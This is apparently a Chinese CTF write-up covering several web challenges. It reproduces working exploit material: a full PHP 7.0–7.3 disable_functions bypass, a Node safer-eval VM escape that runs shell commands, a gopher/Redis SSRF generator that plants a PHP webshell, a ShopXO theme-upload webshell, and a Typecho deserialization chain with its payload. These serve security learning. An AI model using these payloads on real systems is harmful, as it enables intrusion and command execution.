CheckIN

我们进去查看源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
​
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

这个源码读起来较简单些

我们实例化一个新对象之后就会自动的调用__construct()这个魔术方法

之后就是下面的代码

 function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
public function x()
        {
                return $_REQUEST;
        }

这个x()是返回一个$_REQUEST

对应到__construct()

code-> = @$_REQUEST[‘Ginkgo’]

然后就是对code进行base64_decode

base解码所以我们要对传入的字符串进行base64编码

我们先查看一下phpinfo()

image-20240708101420555

我们看到phpinfo()禁用了很多函数

这里原本是想用反弹shell,但是没有成功

除了这个还可以直接传入

$_POST[cmd];

除了这个我们还想到了一个方法就是create_function

image-20240708102607558

这个函数不太安全所有在php8已经移除

image-20240708102730239

我们的php版本是7.3.18

可以利用此函数

image-20240708102825376

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E) . "\n";
?>

输出

ln(2) + ln(2.718281828459) = 1.6931471805599

对于这道题

我们想要的是命令执行

$func=create_function(' ',$_REQUEST['cmd']);$func();
JGZ1bmM9Y3JlYXRlX2Z1bmN0aW9uKCcgJywkX1JFUVVFU1RbJ2NtZCddKTskZnVuYygpOw==

通过蚁剑连接

image-20240708104035212

我们进去可以看到flag是没有权限读取的

image-20240708104155035

但是有个readflag这个要用readflag读取flag

利用脚本读取flag

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

<?php
​
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
​
pwn("uname -a");
​
function pwn($cmd) {
    global $abc, $helper;
​
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
​
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
​
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
​
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
​
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
​
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
​
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
​
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
​
        if(!$data_addr || !$text_size || !$data_size)
            return false;
​
        return [$data_addr, $text_size, $data_size];
    }
​
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
​
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
​
            return $data_addr + $i * 8;
        }
    }
​
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
​
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
​
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
​
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
​
    class Helper {
        public $a, $b, $c, $d;
    }
​
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
​
    $n_alloc = 10; # increase this value if you get segfaults
​
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
​
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
​
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
​
    $helper = new Helper;
    $helper->b = function ($x) { };
​
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
​
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
​
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
​
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
​
    $closure_obj = str2ptr($abc, 0x20);
​
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
​
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
​
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
​
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
​
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
​
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
​
    ($helper->b)($cmd);
​
    exit();
}

我们传入poc发现根目录没有权限

我们去tmp目录

传入我们的poc

最后我们文件包含进行读取

include("/tmp/Test.php");
aW5jbHVkZSgiL3RtcC9UZXN0LnBocCIpOw==

image-20240708110530366

总结

信息收集,打的时候没有看phpinfo。上来就直接system没有注意到

还有就是readflag读取flag这个以前没有遇到过

老八小超市儿

这个是个框架漏洞,接触的少只能跟着漏洞复现了

滑到最底部

image-20240708112014252

是一个ShopXO的一个框架,直接搜一下有什么漏洞

我们可以进入后台管理系统

访问admin.php

image-20240708112151842

使用默认的登入admin/shopxo

登入进去之后我们大概看一下

有一个上传应用的功能

image-20240708113032182

这里我们可以传入木马我们去应用商店里面下载一个主题

image-20240708113405233

在这个pc模板里面下载主题

下载之后解压

image-20240708114050417

这个目录传入木马

image-20240708114522163

将传入shell的主题传入

安装成功之后就可以用了

image-20240708115741750

这里看主题的文件位置

我们通过蚁剑连接

根目录是假的flag

image-20240708121337140

在root目录,但是我们没有权限读取root目录

看一下auto.sh

image-20240708121556827

这个shell脚本会执行一个python文件,这个python脚本有执行root的权限

代码的作用是,打开/flag.hint文件,并写入时间,并且有root的执行权限,能每60秒刷新hint文件。

直接把root目录下的flag写到flag.hint中,增加两条语句s=open("/root/flag","r").read() f.write(s)

再次查看flag.hint就有flag了

总结

这个框架打点就是一个文件上传shell,但是我们要信息收集到位,登入后台管理系统

最后的一个flag的获取,就是考察linux的文件系统管理

cve版签到

看提示是一个cve

cve-2020-7066

网上搜

这个cve是一个php系统版本漏洞

首先我们先了解一下php的get_headers函数

get_headers是获取http请求中发送的服务器信息

get_headers() 是PHP系统级函数,他返回一个包含有服务器响应一个 HTTP 请求所发送的标头的数组。

如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息(可用来判断远程文件是否存在)。

<?php
$url = 'http://www.example.com';
​
print_r(get_headers($url));
​
print_r(get_headers($url, true));
?>

输出

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)
​
Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

CVE-2020-7066

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

可以用%00进行截断

我们访问页面

image-20240708132922438

说的是必须要以ctfhub.com结尾

我们访问CTFHub

是一个用get_headers函数获得http信息的一个数组

image-20240708133121641

我们看到flag在本地

这个很明显就是ssrf

image-20240708133224592

访问之后返回了原地

我们用%00截断来绕过

image-20240708133323592

看到了提示说必须以123结尾

image-20240708133400458

总结

学会了get_headers函数,其实这个就是%00截断

在tryhackme中打文件包含的时候用过

EZ三剑客-EzNode

根据题目我们知道了这是个nodejs的代码

image-20240708153801592

我们进去之后可以看到源码

const express = require('express');
const bodyParser = require('body-parser');
​
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
​
const fs = require('fs');
​
const app = express();
​
​
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
​
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {
​
      }
    }, 1000);
  } else {
    next();
  }
});
​
app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});
​
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});
​
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});
​
app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})
​
app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

这个源码不是很难

先有一层就要访问到/eval这个目录

才能进行下面的操作

 response = saferEval(req.body.e);

然后返回app.use

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {
​
      }
    }, 1000);
  } else {
    next();
  }
});

取最大的dely

我们可以用整数溢出来绕过

接下来就进入到/eval这个路径

image-20240708154213542

传入参数e进行vm逃逸

vm逃逸本质上和python的沙箱逃逸都差不多

image-20240708160207063

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

这个是它的post传参

让我们来解释一下这个payload

这段代码试图通过构造函数调用和子进程执行来读取系统中的文件。让我们逐步解析这段代码:

  1. clearImmediate.constructor("return process;")():

    • 这部分代码利用了clearImmediate全局对象的构造函数属性。clearImmediate.constructor返回的是一个函数构造器(即Function构造函数)。

    • 然后,它调用了这个构造函数,传递了一个字符串 "return process;"。这会创建并立即执行一个返回process对象的函数。

    • 结果是得到了当前的process对象。

  2. .mainModule.require("child_process"):

    • process.mainModule返回的是Node.js应用程序的主模块(即入口文件)的模块对象。

    • .require("child_process")则是从主模块中引入child_process模块,这是Node.js中的一个核心模块,用于创建子进程。

  3. .execSync("cat /flag"):

    • 使用child_process模块的execSync方法,它执行一个同步的shell命令。在这里,它执行的是cat /flag,这个命令用于读取并显示/flag文件的内容。

  4. .toString():

    • execSync返回的Buffer对象转换为字符串。

总结

这个是个简单的node.js代码,进行代码审计的时候要读懂关键代码

从利用点出发到最后一步一步实现

关键就是这个vm逃逸,简单的学习了一下

EZ三剑客-EzWeb

进去看了一下F12大法看见了个?secret

访问进去

image-20240708163257630

看见了ip地址

看看前端是要给url想到了ssrf

我们用nmap进行端口扫描查看端口开放情况

开放了6379端口

常见端口:6379端口(redis)或3306端口(mysql)

ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

对未授权的redis进行访问

import urllib
protocol="gopher://"
ip="10.244.80.134"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
​
if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

直接生成payload

image-20240708165315516

gopher://10.244.80.134:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

访问就行了

总结

还是对信息敏感一些exp网上可以找到

EZ三剑客-EzTypecho

题目有源码

是Typecho的cms

跟着复现一下

是一个反序列化的漏洞

一直复现不出来,不知道环境有问题还是什么

这个就是很简单的反序列化的链子

但是需要一点一点的找到链子

我们先进入install.php这个是页面的初始页面

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
        exit;
    }

这段代码的作用

这段代码的主要作用是在特定条件下终止脚本执行,具体场景可能包括:

  • 安装过程:通常在安装过程的初期,可能不会设置 finish 参数,而一旦 config.inc.php 文件存在,表示配置文件已经生成,如果会话中 typecho 变量为空,表示用户还未登录或会话已过期,因此需要停止脚本执行,以防止未完成的安装步骤被跳过。

  • 安全检查:确保在 config.inc.php 存在的情况下,不允许未经授权的访问,特别是当会话中的 typecho 变量为空时,表示用户未登录。

if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

这个注释上写的挡掉可能的跨站请求

image-20240709090233471

这道题有两种利用方式

image-20240709090406369

第一种传入finish

用cookie传入序列化链子进行反序列化

先跟进get方法

image-20240709090637469

key这个参数是我们可控的

key可以post传参或者cookie传参,如果不是则为default赋值给value

return 就是检查一下value的值是否为数组,不是返回vlaue的值

接下来我们看

image-20240709091019629

这个new了一个新对象

这里可以触发它的构造方法

我们跟进一下

image-20240709091206918

这构造方法里面的参数有个adaptName参数

这个有个字符串拼接

可以触发toString()方法

我们找一下toString方法

我们在var/Typecho/Feed.php找到了toString方法

image-20240709091827772

我们看到这个有个if判断

image-20240709091853056

就是判断它的类型

第一个if判断没有利用点

image-20240709091946514

看第二个if判断

image-20240709092114317

这个item的值我们可控

调用不存在的属性会触发get方法

我们找到get方法

我们最终在var/Typecho/Request.php找到了get方法

image-20240709092336903

这个会返回get方法

我们跟进一下

image-20240709092429337

检查这个key是否为数组和是否为空

然后调用_applyFilter()

这个方法

image-20240709092758765

这个我们就可以利用call_user_func这个函数进行命令执行

这是最终的链子

//提供传参前提
Typecho_Cookie::get()
//命令执行链子
Typecho_Db::__construct() -> Typecho_Feed::toString() -> Typecho_Request::__get() -> Typecho_Request::get()

最终的链子

<?php
class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items=array();
    public function __construct(){
        $this->_type=$this::RSS2;
        $this->_items[]=array(
            "autohr" => new Typecho_Request(),
            "category" => array(new Typecho_Request())
        );
​
    }
}
​
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params['screenName'] = 'cat /flag';  
        $this->_filter[0] = 'system';
    }
    
}
$a=new Typecho_Feed();
$b=array(
    "adapter" => $a,
    "prefix" => "typecho_"
);
echo base64_encode(serialize($b));

利用session.upload_progress,可以将上传的文件信息保存在session中,从而实现构造session

import requests
url='http://node4.anna.nssctf.cn:28256/install.php?finish=1'
files={
    "file":"123"
}
headers={
    "Cookie":"__typecho_lang=zh_CN;PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dG9ociI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo0OiJscyAvIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX1zOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ6ImxzIC8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==",
    "Referer":"http://node4.anna.nssctf.cn:28256/install.php"
}
​
​
req=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"})
print(req.text)

另一个利用点就是start

image-20240709093526670

加一个Referer头就行了

总结

学到了很多,第一次代码审计大的框架

框架里面有很多没见过的代码风格

对于反序列化和序列化理解的更加深刻了

对于代码审计要细心,搞懂每一步代码是干什么的